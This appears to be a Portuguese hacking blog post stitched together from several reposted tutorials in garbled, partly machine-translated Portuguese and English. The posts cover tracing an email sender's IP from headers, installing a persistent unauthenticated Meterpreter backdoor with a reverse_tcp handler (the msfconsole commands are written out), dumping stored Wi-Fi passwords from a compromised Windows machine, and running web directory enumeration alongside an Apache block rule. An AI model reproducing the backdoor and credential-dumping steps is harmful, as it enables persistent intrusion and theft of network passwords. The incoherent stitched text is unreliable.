Nesse tutorial,vou  mostrar como detectar o endereço IP do remetente.

O e-mail endereço IP do remetente é depender de qual provedor de e-mail que você usa. Como sabemos, há muitos provedor de email que fornecem conta de e-mail gratuito, mas por agora só usamos Gmail, Yahoo e Windows Live Hotmail. Com a lógica como verificar o endereço IP do remetente de e-mail que eu espero que você também pode fazer o mesmo com outro provedor de e-mail.

 

Requirement:

1. Internet connection 

Step by Step how to Check Email Sender IP Address:

1. First step I will try to send an email from Yahoo account to Gmail account.

2. In Gmail you can view the email sender IP address by show the original email in the menu.

3. When you click the link it will show some text page that displaying the details of how the message sent from Yahoo until the email arrive in your inbox. Actually the logic is the same when you sending a packet through ups or fedex, you can track the path of your packet where they made a checkpoint(but not as detail as this two logistics service).

The text “Received: from” will show you the email sender IP address (see the red box).

From this three steps, we know that if the sender use Yahoo, we can know the sender original IP address.

4. Now the next I will try to send email fro Gmail to Yahoo. Here is the screenshot.

5.To check the email sender IP address, you can click the actions and choose view full header.

6. Gmail will use the X-Originating-IP to show the sender IP address, but for the privacy they mask and change the Original email sender IP address with Google ip address.

If you see the email sender IP address in the red box above, it was Google IP address.

7. Now the last one is testing using Windows Live Hotmail. I try to send it both to Gmail and yahoo. Here is the result in Gmail.

Last year Windows Live Hotmail still have the X-Originating-IP, but start in January 2013 they said that they started to protect their users by disable the X-Originating-IP and new variable show up there as X-EIP. This X-EIP is always change dynamically even you send the same email from the same ip address, so maybe it’s a little hard enough to break it 

8. Update (the real case)

When I just want to finish this tutorial, then suddenly one email come to my inbox, thanks to that guy helped me to finish this tutorial 

Rea is one of my friend in Indonesia, I believe she will not sending me this kind of link 

Since the sender was using yahoo account, so it is possible for us to detect the original IP address where they come from.

9. Now after knowing the email sender IP address 79.129.249.124, let’s find out more about this IP address by whois-ing here using my tools, or you can visit whatismyipaddress.com to check about that email sender IP address. Here is the result:

Conclusion:

1. From the three free email provider above, we know that the format of email header is depend on which provider we use to send that email.

2. If you send email from Gmail and Windows Live Hotmail they will hide the email sender IP address.

3. If you send email from Yahoo the recipient of your email can know your ip address.

hope it useful 

FONTE:Vishnuvalentino

 

Galera, tutorial está parte dele em inglês.

Algumas pessoas e ACERCA estudante pedindo o que devemos fazer depois de explorar com sucesso comprometer ou vítima?

Alguns explorar Tal como CVE-2010-3962 quando a vítima Executado pode fazer computador trava. Quando algum usuário de computador trava optar por reiniciar o computador e ele vai fazer o exploit Torna-se ineficaz anterior.

O que vamos fazer aqui é Mantendo o acesso, a deixar-se uma maneira mais fácil de volta para o sistema posteriormente. Ao utilizar este método, se o serviço é para baixo ou você explorados atualizado, você ainda pode ganhar acesso ao sistema para uso futuro.

O Serviço Meterpreter Metasploit persistente é o que vamos usar neste tutorial, mas não há aviso Quando você usa esse Meterpreter persistente como mostrado neste tutorial requer nenhuma autenticação. Isto significa que ganha acesso a qualquer um que possa acessar a porta de sua porta de trás! Esta não é uma coisa boa se você está conduzindo um teste de penetração, este poderia ser como um risco significativo.

Requirement :

1. Backtrack 5 (or other Linux OS)

2. Metasploit Framework 3 (Included in Backtrack 5)

Step By Step :

1. You need to set your payload of your exploit to meterpreter to do this method.

2. run persistence -h to view help list

3. We will configure our persistent Meterpreter session to wait until a user logs on to the remote system and try toconnect back to our listener every 5 seconds at IP address 192.168.8.89 on port 8080.

Notice that the script output gives you the command to “remove” the persistent listener when you are done with it. Be sure to make note of it so you don’t leave an unauthenticated backdoor on the system.

Explanation :

-U : start the backdoor when user log in to system

-i : load backdoor every 5 second

-p : will running on port 8080

-r : connect back to 192.168.8.90 (specified ip address)

4. To make sure that it works, try reboot the remote system and set up our payload handler.

msf> use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.8.90
LHOST => 192.168.8.90
msf exploit(handler) > set LPORT 8080
LPORT => 8080
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.8.90:8080
[*] Starting the payload handler...

5. When the remote user restart the system and re-login to the system, there should be like this(we should wait until the backdoor executed by remote system) :

Let we see what happen to remote user :

There’s established connection between attacker and remote host.

Hope it’s useful 

Fonte:VishnuValentino

Esses scripts fornecer funcionalidade relacionada com o tema sem fio ou redes sem fio. O objectivo destes é o de extrair o máximo de informação que pode existir perfis sem fios armazenado na máquina violados. No Windows 7 ou Vista você obter a senha para redes WPA, enquanto o Windows XP é obtido PBKDF2 chave derivada.

O script de post/windows/wlan/wlan_bss_list fornece informações sobre as redes sem fio que tenha violado a máquina configurada. O script de pós / windows / WLAN / wlan_current_connection rede WiFi mostra que a máquina está ligada comprometida, se ele estiver conectado a um. O post script / windows / wlan / wlan_disconnect tentar desligar o aparelho violado a conexão sem fio. E, finalmente, o post script / windows / wlan / wlan_profile recupera informações em formato XML, referindo-se a redes sem fio configurados na máquina violada, incluindo informações como a senha da rede Wi-Fi.

Uma vez que você tem uma sessão Meterpreter, a primeira ação que ocorre é fazer uma lista de redes sem fio que o aparelho armazenar, este fato significa que, geralmente, em algum momento violou a máquina está ligada a essas redes .

 

Com o script de post/windows /wlan /wlan_profile pode obter um despejo de um arquivo em formato XML com os detalhes de redes sem fio, incluindo senhas esta informação para se conectar a redes sem fio. Na foto você pode ver uma parte do depósito, a parte em que informações sensíveis, como senha e nome da rede.

 

Finalmente, você também pode realizar esta operação através da linha de comando da máquina violados. Para abrir uma linha de comando comando é executado Meterpreter shell e digite netsh wlan mostra perfil para recuperar informações de redes sem fio configurados na máquina violados.

Fonte:FluProject

 

As auditorias web, é imprescindível a utilização de uma ferramenta como “enumeração. Isto ajuda-nos a encontrar painéis de administração, diretório com informações confidenciais. E até mesmo diretórios com permissões incorretas que permitem que lista arquivos.

Faça o download da ferramenta e ver listas de arquivos que vai procurar

darkmac:lists marc$ more files.txt
“pictures”[###]\”.jpg”
“DCP_”[####]\”.jpg”
“IMG_”[####]\”.jpg”
“”[##]\”.jpg”
“dsc”[#####]\”.jpg”
“dscn”[####]\”.jpg”
“mvc-”[###]\”.jpg”
“mvc”[#####]\”.jpg”
“P101″[####]\”.jpg”
“IMG_”[###]\”.jpg”
“IMAG”[####]\”.jpg”
“_MG_”[####]\”.jpg”
“dscf”[####]\”.jpg”
“pdrm”[####]\”.jpg”
“IM”[######]\”.jpg”
“EX”[######]\”.jpg”
“pict”[####]\”.jpg”
“P”[#######]\”.JPG”
“IMGP”[####]\”.JPG”
“PANA”[####]\”.JPG”
“Image(“[##]\”).JPG”
“DSCI”[####]\”.JPG”
“PICT”[#####]\”.jpg”
“HPIM”[####]\”.jpg”
“DSCN”[####]\”.jpg”
“DSC”[#####]\”.jpg”
“IMG_”[#####]\”.jpg”
darkmac:lists marc$

Podemos modificar esta lista a adicionar as nossas.

Lançamos a ferramenta contra um servidor web em um ambiente controlado.

O pedido irá tornar a ferramenta é como se segue:

“GET /pictures298.jpg HTTP/1.1″

Se vemos que os pedidos estão surgindo realmente, podemos ver os logs do servidor

Como você pode ver a ferramenta está a tentar combinações diferentes, se, por exemplo, deseja bloquear este difusor, poderíamos criar algo como:

#Block scanners
 <Directory / >
     BrowserMatch ^wdivulge deny_host
     Deny from env=deny_host
  </Directory>

Temos uma ferramenta mais para o nosso arsenal!

Fonte:Flu